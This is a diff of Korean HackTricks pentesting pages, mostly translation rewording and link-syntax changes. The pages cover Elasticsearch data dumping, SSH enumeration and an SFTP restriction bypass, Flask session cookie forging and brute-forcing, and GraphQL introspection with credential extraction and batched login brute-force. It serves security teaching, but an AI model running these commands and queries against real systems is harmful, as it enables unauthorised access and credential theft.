하지만 이제 이 **인덱스에 1000개의 문서가 포함되어 있다는 것을 알았으므로**, **`size`** 매개변수에 덤프할 항목 수를 지정하여 **모두 덤프할 수 있습니다**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_참고: 더 큰 숫자를 지정하면 모든 항목이 덤프됩니다. 예를 들어 `size=9999`를 지정할 수 있으며, 더 많은 항목이 있을 경우 이상할 수 있습니다(하지만 확인해야 합니다)._
### 모두 덤프
모두 덤프하려면 **이전과 동일한 경로로 가되 인덱스를 지정하지 않고** `http://host:9200/_search?pretty=true`에 접근하면 됩니다. 예를 들어 `http://10.10.10.115:9200/_search?pretty=true`와 같습니다.\
이 경우 **기본적으로 10개의 결과 제한**이 적용됩니다. `size` 매개변수를 사용하여 **더 많은 결과를 덤프**할 수 있습니다. 더 많은 정보는 이전 섹션을 참조하세요.
이 경우 **기본적으로 10개의 결과 제한이 적용됩니다.** `size` 매개변수를 사용하여 **더 많은 결과를 덤프할 수 있습니다.** 더 많은 정보는 이전 섹션을 참조하세요.
### 검색
@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
{{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan
- `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
# **기본 비밀번호**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
{{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# 구성 파일
```text

View File

@ -6,7 +6,7 @@
**Kerberos**는 사용자의 리소스 접근을 직접 관리하지 않고 인증하는 원칙에 따라 작동합니다. 이는 프로토콜의 보안 프레임워크에서의 역할을 강조하는 중요한 구분입니다.
**Active Directory**와 같은 환경에서 **Kerberos**는 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 사용자가 네트워크 리소스와 상호작용하기 전에 각 사용자의 신원이 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다.
**Active Directory**와 같은 환경에서 **Kerberos**는 사용자의 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 사용자가 네트워크 리소스와 상호작용하기 전에 각 사용자의 신원이 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다.
**Kerberos**에 의한 인증 후, 리소스 접근에 대한 의사 결정 과정은 네트워크 내 개별 서비스에 위임됩니다. 이러한 서비스는 **Kerberos**가 제공하는 사용자 권한에 대한 정보를 바탕으로 인증된 사용자의 권리와 권한을 평가할 책임이 있습니다. 이 설계는 사용자의 신원을 인증하는 것과 접근 권한을 관리하는 것 간의 관심사를 분리하여 분산 네트워크에서 리소스 관리를 보다 유연하고 안전하게 접근할 수 있도록 합니다.
@ -27,7 +27,9 @@ PORT STATE SERVICE
MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 높은 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다.
{% embed url="https://adsecurity.org/?p=541" %}
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
기타 익스플로잇: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)

View File

@ -2,11 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## 기본 정보
**SSH (Secure Shell 또는 Secure Socket Shell)**은 보안이 없는 네트워크를 통해 컴퓨터에 안전하게 연결할 수 있는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.
**SSH (Secure Shell 또는 Secure Socket Shell)**은 보안이 없는 네트워크를 통해 컴퓨터에 안전하게 연결할 수 있도록 하는 네트워크 프로토콜입니다. 원격 시스템에 접근할 때 데이터의 기밀성과 무결성을 유지하는 데 필수적입니다.
**기본 포트:** 22
```
@ -21,9 +19,9 @@
**SSH 라이브러리 (서버 측 구현):**
- [libssh](https://www.libssh.org) SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh)에서 바인딩됨; KDE에서 sftp에 사용되며 GitHub에서 git SSH 인프라에 사용됨
- [libssh](https://www.libssh.org) SSHv2 프로토콜을 구현하는 다중 플랫폼 C 라이브러리, [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) 및 [R](https://github.com/ropensci/ssh)에서 바인딩됨; KDE의 sftp와 GitHub의 git SSH 인프라에서 사용됨
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) ANSI C로 작성된 SSHv2 서버 라이브러리, 임베디드, RTOS 및 자원이 제한된 환경을 목표로 함
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache MINA를 기반으로 한 Apache SSHD 자바 라이브러리
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) Apache SSHD 자바 라이브러리는 Apache MINA를 기반으로 함
- [paramiko](https://github.com/paramiko/paramiko) Python SSHv2 프로토콜 라이브러리
## 열거
@ -38,7 +36,7 @@ ssh-audit는 ssh 서버 및 클라이언트 구성 감사를 위한 도구입니
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit)은 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)의 업데이트된 포크입니다.
**기능:**
**특징:**
- SSH1 및 SSH2 프로토콜 서버 지원;
- SSH 클라이언트 구성 분석;
@ -97,7 +95,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
### 사용자 이름 열거
일부 OpenSSH 버전에서는 타이밍 공격을 사용하여 사용자를 열거할 수 있습니다. 이를 이용하기 위해 메타스플로잇 모듈을 사용할 수 있습니다:
일부 OpenSSH 버전에서는 타이밍 공격을 통해 사용자를 열거할 수 있습니다. 이를 이용하기 위해 메타스플로잇 모듈을 사용할 수 있습니다:
```
msf> use scanner/ssh/ssh_enumusers
```
@ -115,17 +113,19 @@ https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
또는 `ssh-keybrute.py` (네이티브 python3, 경량이며 레거시 알고리즘이 활성화됨)를 사용할 수 있습니다: [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
또는 `ssh-keybrute.py` (네이티브 파이썬3, 경량이며 레거시 알고리즘이 활성화됨)를 사용할 수 있습니다: [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### 알려진 나쁜 키는 여기에서 찾을 수 있습니다:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### 약한 SSH 키 / Debian 예측 가능한 PRNG
일부 시스템은 암호화 자료를 생성하는 데 사용되는 랜덤 시드에 알려진 결함이 있습니다. 이로 인해 키 공간이 극적으로 줄어들어 무차별 대입 공격을 받을 수 있습니다. 약한 PRNG의 영향을 받는 Debian 시스템에서 생성된 미리 생성된 키 세트는 여기에서 사용할 수 있습니다: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
희생자 머신의 유효한 키를 검색하려면 여기에서 찾아야 합니다.
희생자 머신에 대한 유효한 키를 검색하려면 여기를 확인해야 합니다.
### Kerberos
@ -184,12 +184,12 @@ SSH-Snake는 다음 작업을 자동으로 재귀적으로 수행합니다:
SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은 일반적이며, 이는 상당한 보안 위험을 초래합니다. **루트 로그인을 비활성화하는 것**은 서버 보안을 강화하는 중요한 단계입니다. 관리 권한으로의 무단 접근 및 무차별 대입 공격을 완화할 수 있습니다.
**OpenSSH에서 루트 로그인 비활성화:**
**OpenSSH에서 루트 로그인 비활성화하려면:**
1. `sudoedit /etc/ssh/sshd_config`로 SSH 구성 파일을 **편집합니다**.
2. `#PermitRootLogin yes`에서 **`PermitRootLogin no`**로 **설정을 변경합니다**.
3. `sudo systemctl daemon-reload`를 사용하여 **구성을 다시 로드합니다**.
4. 변경 사항을 적용하기 위해 SSH 서버를 **재시작합니다**: `sudo systemctl restart sshd`.
1. `sudoedit /etc/ssh/sshd_config`로 SSH 구성 파일을 편집합니다.
2. 설정을 `#PermitRootLogin yes`에서 **`PermitRootLogin no`**로 변경합니다.
3. `sudo systemctl daemon-reload`를 사용하여 구성을 다시 로드합니다.
4. 변경 사항을 적용하기 위해 SSH 서버를 재시작합니다: `sudo systemctl restart sshd`
### SFTP 무차별 대입
@ -197,7 +197,7 @@ SSH 서버가 기본적으로 루트 사용자 로그인을 허용하는 것은
### SFTP 명령 실행
SFTP 설정에서 일반적인 간과가 발생하는데, 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도하는 경우입니다. 비대화형 셸(예: `/usr/bin/nologin`)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. **사용자는 로그인 직후 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다** (예: `/bin/bash`), 비대화형 셸이 차지하기 전에. 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다.
SFTP 설정에서 일반적인 간과가 발생하는데, 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도할 때입니다. 비대화형 셸(예: `/usr/bin/nologin`)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. **사용자는 로그인 직후 비대화형 셸이 차지하기 전에 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다** (예: `/bin/bash`). 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다.
[여기에서의 예시](https://community.turgensec.com/ssh-hacking-guide/):
```bash
@ -222,7 +222,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
여기 사용자 `noraj`를 위한 안전한 SFTP 구성 예시입니다 (`/etc/ssh/sshd_config` openSSH):
다음은 사용자 `noraj`에 대한 보안 SFTP 구성 예시입니다 (`/etc/ssh/sshd_config` openSSH):
```
Match User noraj
ChrootDirectory %h
@ -252,7 +252,7 @@ sftp> symlink / froot
### 인증 방법
높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 이중 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 일반적인 사례는 openSSH 구성에서 `publickey`를 활성화하고 이를 기본 방법으로 설정하지만 `password`를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자 약한 방법이 활성화되어 있음을 확인할 수 있습니다:
높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 이중 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 자주 발생하는 경우는 openSSH 구성에서 `publickey`를 활성화하고 이를 기본 방법으로 설정하지만 `password`를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자 약한 방법이 활성화되어 있음을 확인할 수 있습니다:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -276,17 +276,17 @@ ssh_known_hosts
known_hosts
id_rsa
```
## Fuzzing
## 퍼징
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## References
## 참고문헌
- SSH를 강화하는 방법에 대한 흥미로운 가이드를 [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)에서 찾을 수 있습니다.
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands
## HackTricks 자동 명령
```
Protocol_Name: SSH
Port_Number: 22

View File

@ -4,6 +4,8 @@
버킷을 열거하고 악용하는 방법에 대해 더 알고 싶다면 이 페이지를 확인하세요:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,10 +4,12 @@
## Firebase란 무엇인가
Firebase는 주로 모바일 애플리케이션을 위한 Backend-as-a-Service입니다. 이는 애플리케이션과 백엔드 간의 상호작용을 용이하게 하는 멋진 SDK와 많은 다른 흥미로운 기능을 제공하여 백엔드 프로그래밍의 부담을 덜어주는 데 중점을 두고 있습니다.
Firebase는 주로 모바일 애플리케이션을 위한 Backend-as-a-Service입니다. 이는 애플리케이션과 백엔드 간의 상호작용을 용이하게 하는 멋진 SDK와 여러 가지 흥미로운 기능을 제공하여 백엔드 프로그래밍의 부담을 덜어주는 데 중점을 두고 있습니다.
Firebase에 대해 더 알아보려면:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -15,7 +15,9 @@ cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)

View File

@ -24,7 +24,9 @@ echo "ImhlbGxvIg" | base64 -d
Flask 애플리케이션의 세션 쿠키를 가져오고, 디코드하고, 무차별 대입 공격을 수행하며, 비밀 키를 추측하여 제작하는 명령줄 도구입니다.
{% embed url="https://pypi.org/project/flask-unsign/" %}
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
@ -46,9 +48,11 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
flask-unsign으로 제작된 쿠키를 사용하여 웹사이트를 무차별 대입하는 명령줄 도구입니다.
쿠키를 사용하여 웹사이트를 무차별 대입 공격하는 명령줄 도구로, flask-unsign으로 제작되었습니다.
{% embed url="https://github.com/Tagvi/ripsession" %}
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

View File

@ -2,14 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Introduction
GraphQL은 **효율적인 대안**으로 **REST API**에 강조되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
GraphQL은 **효율적인 대안**으로 **REST API**에 주목받고 있으며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
## GraphQL과 보안
GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면, GraphQL 엔드포인트는 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
### 디렉토리 브루트 포스 공격과 GraphQL
@ -24,7 +23,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취
- `/graphql/api`
- `/graphql/graphql`
GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### 지문 인식
@ -32,7 +31,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취
#### 유니버설 쿼리 <a href="#universal-queries" id="universal-queries"></a>
URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면, 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
```javascript
query{__typename}
```
@ -46,7 +45,7 @@ Graphql은 일반적으로 **GET**, **POST** (x-www-form-urlencoded) 및 **POST*
```bash
query={__schema{types{name,fields{name}}}}
```
이 쿼리를 사용하면 사용 중인 모든 유형의 이름을 찾을 수 있습니다:
이 쿼리를 사용하면 사용 중인 모든 유형의 이름을 찾을 수 있습니다:
![](<../../images/image (1036).png>)
```bash
@ -66,10 +65,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
```
![](<../../images/image (416).png>)
**인스턴스화를 통한 데이터베이스 스키마 열거**
**인스펙션을 통한 데이터베이스 스키마 열거**
> [!NOTE]
> 인스턴스화가 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오.
> 인스펙션이 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 `onOperation`, `onFragment`, 및 `onField` 지시어를 제거해 보십시오.
```bash
#Full introspection query
@ -173,11 +172,11 @@ name
이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, **값을 추출해 보겠습니다**.
인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"이 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나가 "_flags_"라는 것을 볼 수 있습니다. 이는 또한 객체의 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다.
인트로스펙션에서 **직접 쿼리할 수 있는 객체**를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "_queryType_"은 "_Query_"라고 불리며, "_Query_" 객체의 필드 중 하나는 "_flags_"로, 이것도 객체 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다.
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
쿼리 "_flags_"의 유형이 "_Flags_"라는 점에 유의하세요. 이 객체는 아래와 같이 정의됩니다:
쿼리 "_flags_"의 유형이 "_Flags_"임을 주목하세요. 이 객체는 아래와 같이 정의됩니다:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
@ -194,7 +193,7 @@ query={flags{name, value}}
query = { hiddenFlags }
```
다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\
이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:
이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:
![](<../../images/image (880).png>)
@ -205,9 +204,9 @@ query = { hiddenFlags }
어떤 식으로든 "_**uid**_" 타입 _**Int**_의 인수를 사용하여 검색하는 것 같습니다.\
어쨌든, 우리는 이미 [Basic Enumeration](graphql.md#basic-enumeration) 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었다는 것을 알고 있었습니다: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
제가 그 쿼리를 실행했을 때 제공된 이미지를 읽어보면 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다.
제가 제공한 이미지를 읽어보면, 그 쿼리를 실행했을 때 "_**user**_"가 타입 _Int_의 **arg** "_**uid**_"를 가지고 있음을 알 수 있습니다.
그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호가 검색되었습니다:\
그래서 가벼운 _**uid**_ 브루트포스를 수행한 결과, _**uid**=**1**_에서 사용자 이름과 비밀번호를 검색할 수 있었습니다:\
`query={user(uid:1){user,password}}`
![](<../../images/image (90).png>)
@ -216,15 +215,15 @@ query = { hiddenFlags }
![](<../../images/image (707).png>)
그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있을 발견했습니다.
그리고 **열거 단계**에서 "_**dbuser**_" 객체가 "_**user**_"와 "_**password**_" 필드를 가지고 있다는 것을 발견했습니다.
**쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)**
문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 **검색**하면 **모든 데이터가 덤프됩니다**. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**theusers**"를 "**description**"이라는 문자열 필드로 검색할 수 있다고 가정하십시오_).
문자열 타입으로 검색할 수 있다면, 예를 들어: `query={theusers(description: ""){username,password}}`와 같이 **빈 문자열**을 검색하면 **모든 데이터를 덤프**합니다. (_이 예제는 튜토리얼의 예제와 관련이 없으므로, 이 예제에서는 "**description**"이라는 문자열 필드를 사용하여 "**theusers**"를 검색할 수 있다고 가정합니다_).
### 검색
이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 영화가 있어 데이터베이스 내의 관계를 나타냅니다.
이 설정에서, **데이터베이스**는 **사람들**과 **영화**를 포함합니다. **사람들**은 그들의 **이메일**과 **이름**으로 식별되며; **영화**는 그들의 **이름**과 **평점**으로 식별됩니다. **사람들**은 서로 친구가 될 수 있으며, 또한 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.
당신은 **이름**으로 사람들을 **검색**하고 그들의 이메일을 얻을 수 있습니다:
```javascript
@ -251,7 +250,7 @@ name
```
`subscribedMovies``name`을 가져오는 방법에 유의하세요.
여러 개의 객체를 동시에 **검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다:
여러 개의 객체를 **동시에 검색할 수 있습니다**. 이 경우, 2개의 영화를 검색합니다:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -284,15 +283,15 @@ name
```
### Mutations
**Mutations는 서버 측에서 변경을 수행하는 데 사용됩니다.**
**변경은 서버 측에서 변경을 수행하는 데 사용됩니다.**
**introspection**에서 **선언된** **mutations**를 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 mutations의 이름(이 경우 "_addPerson_")을 포함합니다:
**내부 탐색**에서 **선언된** **변경**을 찾을 수 있습니다. 다음 이미지에서 "_MutationType_"은 "_Mutation_"이라고 하며, "_Mutation_" 객체는 변경의 이름(이 경우 "_addPerson_")을 포함합니다:
![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)
이 설정에서 **database**는 **persons**와 **movies**를 포함합니다. **Persons**는 **email**과 **name**으로 식별되며, **movies**는 **name**과 **rating**으로 식별됩니다. **Persons**는 서로 친구가 될 수 있으며, 또한 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.
이 설정에서 **데이터베이스**는 **사람**과 **영화**를 포함합니다. **사람**은 **이메일**과 **이름**으로 식별되며, **영화**는 **이름**과 **평점**으로 식별됩니다. **사람**은 서로 친구가 될 수 있으며, 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.
**database** 내에서 **새로운** 영화를 **생성하는** mutation은 다음과 같을 수 있습니다(이 예에서 mutation은 `addMovie`라고 합니다):
데이터베이스 내에서 **새로운** 영화를 **생성하는** 변경은 다음과 같을 수 있습니다(이 예에서 변경은 `addMovie`라고 불립니다):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -340,7 +339,7 @@ releaseYear
### Batching brute-force in 1 API request
이 정보는 [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)에서 가져왔습니다.\
GraphQL API를 통한 인증은 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송**하여 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다.
GraphQL API를 통 **다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증**을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다.
아래는 **한 번에 3개의 서로 다른 이메일/비밀번호 쌍**을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다:
@ -354,13 +353,13 @@ GraphQL API를 통한 인증은 **다양한 자격 증명을 가진 많은 쿼
점점 더 많은 **graphql 엔드포인트가 introspection을 비활성화**하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance)와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다.
게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰**하고 **각 새로운 쿼리를 통해** 내부 GraphQL **스키마**를 구축합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
